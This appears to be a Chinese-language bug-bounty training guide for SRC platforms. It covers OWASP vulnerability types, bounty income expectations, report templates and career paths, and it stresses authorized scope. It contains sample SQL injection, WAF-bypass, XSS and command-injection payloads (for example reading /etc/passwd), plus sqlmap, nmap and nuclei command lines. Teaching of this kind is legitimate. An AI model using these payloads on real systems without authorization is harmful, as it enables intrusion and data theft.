> 2. 禁止在目标系统留后门
> 3. 禁止破坏目标系统数据
SRC掘金中的正确做法:
错误做法 ❌:
用MSF弹Shell → 在目标服务器留后门 → 破坏系统 → 违法!
正确做法 ✅:
用SQL注入读取数据 → 截图证明 → 提交报告 → 拿奖金!
现阶段掘金行动:
references/05_metasploit.md(完整实战案例)
掌握OWASP Top 10漏洞原理、利用方法与绕过技巧。这是掘金最重要的阶段!
原理:
用户输入未过滤直接拼接到SQL语句中。
测试payload:
# 联合查询
' UNION SELECT null, null, null--
# 布尔盲注
' AND 1=1-- (返回正常)
' AND 1=2-- (返回异常)
# 时间盲注
' AND sleep(5)--
# 报错注入
' AND extractvalue(1,concat(0x7e,version()))--
绕过WAF技巧:
/!50000 SELECT /
%55NION / /**/SELECT
UnIoN SeLeCt
AND → &&, OR → ||
反射型XSS:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
存储型XSS:
DOM型XSS:
var name = location.hash.substring(1);
document.write("Welcome " + name);
原理: 服务端未校验用户权限,导致可以操作其他用户的数据。
测试payload:
正常请求:
GET /api/user/info?user_id=1001
越权请求:
GET /api/user/info?user_id=1002 ← 查看其他用户数据
掘金技巧:
命令注入(Command Injection):
; ls
| cat /etc/passwd
& whoami
`id`
$(whoami)
文件上传漏洞:
shell.php.jpg
不安全反序列化:
unserialize()
学完本章你可以稳定挖到中高危漏洞,月入2000-8000元!
掘金优先级(按产出效率排序):
| 排名 | 漏洞类型 | 学会后能挖到 | 月收入预期 |
|------|------------|------------|--------------|
| 🥇 第1 | 越权访问 | 低危→中危(稳定) | 1000-3000元 |
| 🥈 第2 | 信息泄露 | 低危→中危(高频) | 1000-2000元 |
| 🥉 第3 | SQL注入 | 中危→高危(高奖金) | 2000-8000元 |
| 4 | 逻辑漏洞 | 中危→严重(奖金最高) | 3000-15000元 |
| 5 | XSS | 低危→中危 | 500-1500元 |
实战:挖你的第一笔越权漏洞
目标:某SRC平台列出的授权目标
工具:Burp Suite(抓包改包)
步骤:
1. 注册两个测试账号(A和B)
2. 登录账号A,执行某个操作(如:修改个人信息)
3. 用Burp抓取请求包,找到标识用户ID的参数
4. 把用户ID改为账号B的ID,重放请求
5. 如果操作成功 → 越权漏洞存在!
6. 截图证明,写报告提交
预期奖金:低危200-500元,中危500-2000元
实战:挖你的第一笔SQL注入
目标:某SRC平台的Web应用
工具:SQLMap + Burp Suite
步骤:
1. 找到有数据库交互的页面(如:搜索框、登录框)
2. 在参数后加单引号测试:?id=1'
3. 如果页面报错 → 可能存在注入
4. 用SQLMap自动化利用:
sqlmap -u "http://target.com/page?id=1" --dbs
5. 成功跑出数据库 → 高危漏洞!
6. 截图证明,写报告提交
预期奖金:中危1000-5000元,高危5000-20000元
> 💡 掘金核心技巧:
> 1. 越权漏洞最好挖:注册两个账号,改ID参数试试
> 2. SQL注入奖金高:找到数据库交互点,用SQLMap跑
> 3. 信息泄露最稳定:用目录爆破发现敏感文件
> 4. 提交报告时配好截图,审核通过率提高50%
现阶段掘金行动(学完立即去做):
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| SQL注入没反应 | 目标有WAF防护 | 尝试编码绕过:union/**/select 或 %0b 替换空格 |
| XSS payload没弹窗 | 被过滤了 | 尝试不同编码:javascript:alert(1)、 |
| 越权测试总被拦截 | 有权限校验中间件 | 尝试改Cookie中的token、或换不同角色的账号测试 |
| Burp抓不到包 | 代理配置错误 | 检查浏览器代理设置:127.0.0.1:8080,且Burp已启动 |
| 找不到注入点 | 测试面太窄 | 所有输入框、URL参数、Cookie、Header都要测 |
Web安全排错流程:
1. 确认目标可达 → ping / 浏览器直接访问
2. 确认Burp代理正常 → 访问 http://burpsuite 看是否拦截
3. 测试简单payload先 → 先测最基本的 `' OR '1'='1` 或 `<script>alert(1)</script>`
4. 逐步加复杂度 → 简单不行再试编码绕过、大小写混淆
5. 看响应差异 → 对比正常请求和注入请求的响应,找差异点
references/06_web_security_top10.md(详细漏洞原理与防御)
掌握标准渗透测试流程:信息收集→漏洞验证→内网提权。
被动信息收集:
# Whois查询
whois target.com
# DNS枚举
dig target.com ANY
nslookup target.com
# 子域名发现
sublist3r -d target.com
amass enum -d target.com
主动信息收集:
# 端口扫描
nmap -sS -p 1-65535 -T4 target.com
masscan -p1-65535 --rate=10000 target.com
# 服务识别
nmap -sV -sC target.com
# 目录扫描
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
使用Nuclei自动化扫描:
nuclei -u http://target.com -t cves/
nuclei -u http://target.com -t vulnerabilities/
手工验证:
学完本章你可以系统化地挖漏洞,而不是碰运气!
渗透测试流程 = SRC掘金流程
渗透测试流程 SRC掘金对应
─────────────────────────────────────────────
① 信息收集 ① 子域名枚举 → 发现更多攻击面
↓ (用Sublist3r、Amass)
② 漏洞扫描 ② 用Nuclei/SQLMap批量检测
↓ (自动化提高效率)
③ 手工验证 ③ 确认漏洞是否真实存在
↓ (避免误报,提高通过率)
④ 编写报告 ④ 写SRC漏洞报告
↓ (决定奖金多少!)
⑤ 交付结果 ⑤ 提交到SRC平台
实战:用渗透测试思维挖SRC漏洞
# 第①步:信息收集(扩大攻击面)
sublist3r -d example.src.target.com -o subs.txt
# 发现了10个子域名 → 攻击面扩大10倍!
# 第②步:漏洞扫描(批量检测)
nuclei -l subs.txt -t vulnerabilities/ -o results.txt
# 自动检测出3个可疑漏洞
# 第③步:手工验证(确认危害)
# 用Burp手动验证Nuclei的扫描结果
# 确认其中2个是真实漏洞
# 第④⑤步:编写报告并提交
# 按SRC平台要求写报告
# 提交,等待审核通过拿奖金!
> 💡 掘金技巧:信息收集做得好,漏洞自动找上门。很多SRC赏金猎人花70%时间在信息收集上!
references/07_penetration_test.md(完整渗透测试案例)
通过合法靶场巩固所学知识。
安装:
# Docker安装
docker run --rm -it -p 80:80 vulnerables/web-dvwa
难度等级:
练习模块:
特点:
特点:
学完本章你可以在安全环境中练手,为SRC实战做准备!
靶场练习 = 掘金模拟训练
| 靶场 | 练习的漏洞 | 对应SRC掘金场景 |
|------|------------|-------------------|
| DVWA SQL注入 | SQL注入Low→High | 挖SRC目标的SQL注入 |
| DVWA XSS | XSS过滤绕过 | 挖SRC目标的XSS |
| Pikachu 越权 | 越权漏洞练习 | 挖SRC目标的越权(最易!)|
| Vulhub Struts2 | RCE漏洞练习 | 挖SRC目标的RCE(奖金最高)|
实战:在靶场练好后去SRC实战
练习流程:
1. 在DVWA(Low级别)练习SQL注入 → 理解原理
2. 在DVWA(Medium级别)练习绕过过滤 → 学会绕过WAF
3. 在DVWA(High级别)练习高级绕过 → 挖掘真实漏洞
4. 去SRC平台找真实目标,应用所学技巧
5. 挖到漏洞 → 写报告 → 拿奖金!
> 💡 掘金技巧:先在靶场把漏洞类型练熟,再去SRC实战。这样提交的报告质量高,通过率也高!
现阶段掘金行动:
references/08_range_practice.md(靶场搭建与通关指南)
掌握护网行动中的攻防对抗技巧。
角色分工:
Linux应急响应:
# 检查异常进程
ps aux | grep -E "(curl|wget|bash|sh)"
netstat -tulnp | grep ESTABLISHED
# 检查异常文件
find /tmp -type f -name "*.sh" -mtime -1
学完本章你可以理解防御者的思维,挖到更难发现的漏洞!
攻防思维 → 掘金应用:
| 护网技能 | 掘金价值 |
|----------|----------|
| 了解防御手段 | 知道如何绕过WAF/IDS |
| 理解攻击溯源 | 学会清理痕迹(授权测试) |
| 掌握应急响应 | 理解漏洞的真实危害(写报告时用) |
> 💡 掘金技巧:理解防御者怎么防,才能更好地攻。很多高危漏洞都是因为理解了防御盲区才挖到的!
掌握CTF竞赛备赛思路、工具使用、真题解析。
Web:
学完本章你可以练手挖洞技巧,为SRC实战打基础!
CTF → 掘金对应关系:
| CTF题型 | SRC漏洞类型 | 奖金 |
|---------|------------|------|
| Web SQL注入 | SQL注入 | 中危→高危 |
| Web XSS | XSS | 低危→中危 |
| Web 文件上传 | 文件上传漏洞 | 中危→高危 |
| Web SSRF | SSRF | 中危→高危 |
| 杂项 流量分析 | 信息泄露 | 低危 |
> 💡 掘金技巧:CTF题目都是真实漏洞的简化版。CTF练得好,挖SRC漏洞事半功倍!
现阶段掘金行动:
掌握教育漏洞、公益漏洞、企业SRC漏洞的挖掘与提交。这是掘金专属章节!
知名SRC平台:
| 平台 | 网址 | 奖金范围 | 结算速度 | 推荐指数 |
|------|------|----------|----------|------------|
| 腾讯TSRC | security.tencent.com | 100-100000元 | 快 | ⭐⭐⭐⭐⭐ |
| 阿里ASRC | asrc.alibaba.com | 200-50000元 | 中 | ⭐⭐⭐⭐ |
| 百度BSRC | bsrc.baidu.com | 100-30000元 | 快 | ⭐⭐⭐⭐ |
SRC挖掘技巧(实战经验):
技巧1:关注新上线业务
→ 新功能往往防护不完善,最容易出漏洞
技巧2:挖掘逻辑漏洞
→ 越权、支付绕过等逻辑问题,扫描器扫不出来,竞争小
技巧3:移动端APP抓包
→ PC端防护严密,但APP接口往往防护较弱
技巧4:子域名枚举发现边缘业务
→ 主站防护严密,但边缘系统(测试环境、旧系统)往往有漏洞
技巧5:关注GitHub信息泄露
→ 很多公司的代码/配置泄露在GitHub上
标准报告模板(直接复制用):
【漏洞标题】[站点名称] 越权漏洞(如:越权删除任意用户数据)
【漏洞URL】
https://example.com/api/user/delete
【漏洞描述】
在XXX功能模块,未对操作者的权限进行校验,导致普通用户可越权操作其他用户的数据。
【复现步骤】
1. 登录普通用户A,抓包记录正常请求
2. 修改请求中的user_id参数为其他用户的ID
3. 重放请求,发现操作成功,证明越权存在
【请求包截图】
[粘贴Burp截取的请求包]
【响应包截图】
[粘贴响应包,证明操作成功]
【危害证明】
可删除/修改任意用户数据,造成严重数据泄露和业务影响。
【修复建议】
1. 服务端对操作者身份进行严格校验
2. 使用服务端session,不依赖前端传参
3. 增加权限中间件,统一处理鉴权逻辑
> 💡 提高奖金的技巧:
> 1. 报告写得详细(+20%奖金)
> 2. 配好截图/POC(+30%通过率)
> 3. 说明危害严重性(+50%奖金评级)
> 4. 提供修复建议(+10%好感度)
学完本章你可以稳定地在SRC平台掘金!
SRC掘金实战工作流(照着做):
第1步:选平台
→ 推荐新手选腾讯TSRC(结算快、规则清晰)
第2步:选目标
→ 从平台「资产列表」选一个看起来不太热门的目标
→ 新上线的业务最好挖!
第3步:信息收集
→ 子域名枚举:sublist3r -d target.com
→ 目录爆破:gobuster dir -u https://target.com -w wordlist.txt
→ 端口扫描:nmap -sV target.com
第4步:漏洞挖掘(按优先级)
→ 第1优先:测试越权(改ID参数)
→ 第2优先:测试信息泄露(敏感路径)
→ 第3优先:测试SQL注入(搜索框/登录框)
→ 第4优先:测试逻辑漏洞(支付/积分)
第5步:编写报告
→ 用上面的标准模板
→ 配好截图和POC
→ 说明危害严重性
第6步:提交等待
→ 通常1-3个工作日审核
→ 如果被拒,看拒绝理由,改进报告
第7步:奖金到账
→ 平台打款到支付宝/微信/银行卡
→ 开始挖下一个!
新手第一个月掘金计划:
| 周次 | 目标 | 预期产出 | 预期收入 |
|------|------|----------|------------|
| 第1周 | 学会用Burp,挖越权漏洞 | 2-3个低危 | 500-1000元 |
| 第2周 | 学会用SQLMap,挖SQL注入 | 1-2个中危 | 1000-3000元 |
| 第3周 | 学会目录爆破,挖信息泄露 | 3-5个低危 | 1000-2000元 |
| 第4周 | 综合应用,提高报告质量 | 稳定产出 | 累计3000-6000元 |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| 漏洞提交被驳回 | 报告写得太简单 | 按模板补全复现步骤+截图+危害证明 |
| 找不到漏洞 | 目标选得不好 | 换平台的新上线业务,或测试边缘系统 |
| 奖金比预期低 | 危害证明不足 | 补充具体数据泄露量/影响用户数 |
| 报告写了但没通过 | POC不够清楚 | 录屏+截图+请求响应包都附上 |
| 被平台警告 | 测试范围超出授权 | 只测试平台「资产列表」里的目标 |
| 一个月没挖到漏洞 | 方法不对或不够坚持 | 先从越权入手,每天至少测5个接口 |
SRC掘金排错流程:
1. 漏洞被驳回?
→ 看驳回原因 → 补充证据 → 重新提交
2. 找不到漏洞?
→ 换目标(新上线业务)→ 换漏洞类型(先测越权)→ 用APP接口测试
3. 奖金低?
→ 补充危害证明 → 说明影响范围 → 提高报告质量
4. 审核慢?
→ 选结算快的平台(腾讯TSRC)→ 避开节假日提交
references/11_src_mining.md(SRC挖掘实战)
掌握内网提权、横向移动、痕迹清理。
本章内容主要适用于授权渗透测试,SRC掘金中较少涉及。
但学完本章可以:
> 💡 SRC掘金提示:内网渗透技能在SRC平台用得少(因为只测试外网资产),但在「渗透测试工程师」求职时是核心技能!
掌握等保测评、代码审计、数据安全技术。
学完本章你可以:
掘金 + 求职双轨发展:
路径A:继续掘金(副业)
→ 熟练后月入8000-30000元
→ 适合作为副业,不影响主业
路径B:求职安全工程师(主业)
→ 初级:8K-15K
→ 中级:15K-25K
→ 高级:25K-40K
→ 专家:40K+
掌握公有云、私有云、云原生攻防技术。
学完本章你可以挖掘云配置错误导致的高危漏洞!
云安全 → 掘金对应:
| 云漏洞类型 | 奖金 | 挖掘难度 |
|------------|------|----------|
| S3桶未授权访问 | 中危 1000-5000元 | ⭐⭐ |
| IAM配置错误 | 中危→高危 2000-10000元 | ⭐⭐⭐ |
| 元数据服务SSRF | 高危 5000-20000元 | ⭐⭐⭐⭐ |
> 💡 掘金技巧:云安全漏洞奖金高,但需要有云环境实战经验。建议先在有云业务的SRC平台练手。
掌握面试真题、简历优化、内推渠道。
常见面试题:
基础题:
项目经验描述示例(掘金经历怎么写进简历):
项目经验:
SRC漏洞挖掘(副业/全职)
2024.06 - 至今
- 在腾讯TSRC、阿里ASRC等平台挖掘Web安全漏洞
- 累计提交漏洞50+,通过率80%+
- 擅长越权、SQL注入、信息泄露类漏洞挖掘
- 累计获得奖金XX万元
> 💡 求职技巧:把SRC掘金经历写进简历,求职安全工程师时极具竞争力!
学完本章你可以选择:继续掘金 vs 求职安全工程师
两种发展路径:
路径A:掘金副业(推荐在校学生/在职人员)
→ 每天投入2-3小时
→ 月入2000-8000元
→ 不影响主业/学业
路径B:求职安全工程师(推荐应届毕业生/转行者)
→ 系统学习本技能全部15个阶段
→ 把SRC掘金经历写进简历
→ 月薪15K-40K(一线城市)
薪资参考(2024):
| 级别 | 经验要求 | 月薪范围 | 对应掘金能力 |
|------|----------|----------|--------------|
| 初级安全工程师 | 0-2年 | 8K-15K | 能挖低危→中危漏洞 |
| 中级安全工程师 | 2-5年 | 15K-25K | 能稳定挖中危→高危漏洞 |
| 高级安全工程师 | 5-10年 | 25K-40K | 能挖严重漏洞 + 代码审计 |
| 安全专家/架构师 | 10年+ | 40K+ | 全面能力 + 团队管理 |
零基础入门(6-12个月):
快速掘金路线(有基础者):
本技能包含以下文件,共 6 个脚本工具 + 1 个字典文件 + 15 个学习文档 + 1 个图标:
| 文件路径 | 功能 | 掘金相关度 |
|----------|------|------------|
| scripts/check_env.py | 环境自检脚本(运行前先检测) | ⭐⭐⭐⭐ |
| scripts/port_scanner.py | TCP端口扫描器 | 辅助工具 |
| scripts/dir_bruteforce.py | Web目录/文件爆破 | 辅助工具 |
| scripts/wordlist.txt | 目录爆破字典(100+常见路径) | 配套文件 |
| scripts/subdomain_enum.py | 子域名枚举器(多线程+超时控制) | ⭐⭐⭐ |
| scripts/xss_scanner.py | 反射型XSS漏洞扫描器 | ⭐⭐⭐ |
| scripts/sql_injection_tester.py | SQL注入检测器(GET/POST支持) | ⭐⭐⭐⭐ |
| 文件路径 | 内容 | 掘金相关度 |
|----------|------|------------|
| README.md | 快速入门指南 | ⭐⭐⭐(必看) |
| requirements.txt | Python依赖清单 | ⭐⭐(安装依赖) |
| references/01_legal_basics.md | 法律基础与合规边界 | ⭐⭐(必须看) |
| references/02_computer_basics.md | 计算机基础 | ⭐⭐(打基础) |
| references/03_python_practice.md | Python编程实战 | ⭐⭐⭐(写自动化脚本) |
| references/04_kali_linux.md | Kali Linux工具 | ⭐⭐⭐(信息收集) |
| references/05_metasploit.md | Metasploit框架 | ⭐⭐⭐(漏洞利用) |
| references/06_web_security_top10.md | Web安全Top10详解 | ⭐⭐⭐⭐⭐(掘金核心) |
| references/07_penetration_test.md | 渗透测试 | ⭐⭐⭐⭐(完整流程) |
| references/08_range_practice.md | 靶场练手 | ⭐⭐⭐(动手实践) |
| references/09_huwang_defense.md | 护网攻防 | ⭐⭐⭐(应急响应) |
| references/10_ctf_competition.md | CTF竞赛 | ⭐⭐(比赛备赛) |
| references/11_src_mining.md | SRC漏洞挖掘实战 | ⭐⭐⭐⭐⭐(掘金实战) |
| references/12_internal_network.md | 内网渗透 | ⭐⭐⭐⭐(进阶) |
| references/13_enterprise_security.md | 企业安全 | ⭐⭐⭐(等保/代码审计) |
| references/14_cloud_security.md | 云安全 | ⭐⭐⭐(进阶方向) |
| references/15_interview_employment.md | 面试就业 | ⭐⭐⭐(求职) |
| 文件路径 | 说明 |
|----------|------|
| assets/icon.png | 技能图标(128x128) |
免责声明:本技能仅用于合法授权的安全测试与学习研究,严禁用于非法用途。学习者需遵守《网络安全法》及相关法律法规,在合法范围内进行技术学习与实践。
掘金宣言:用技术创造价值,用合法手段赚钱。每一个提交的漏洞,都在让互联网更安全!💪
共 5 个版本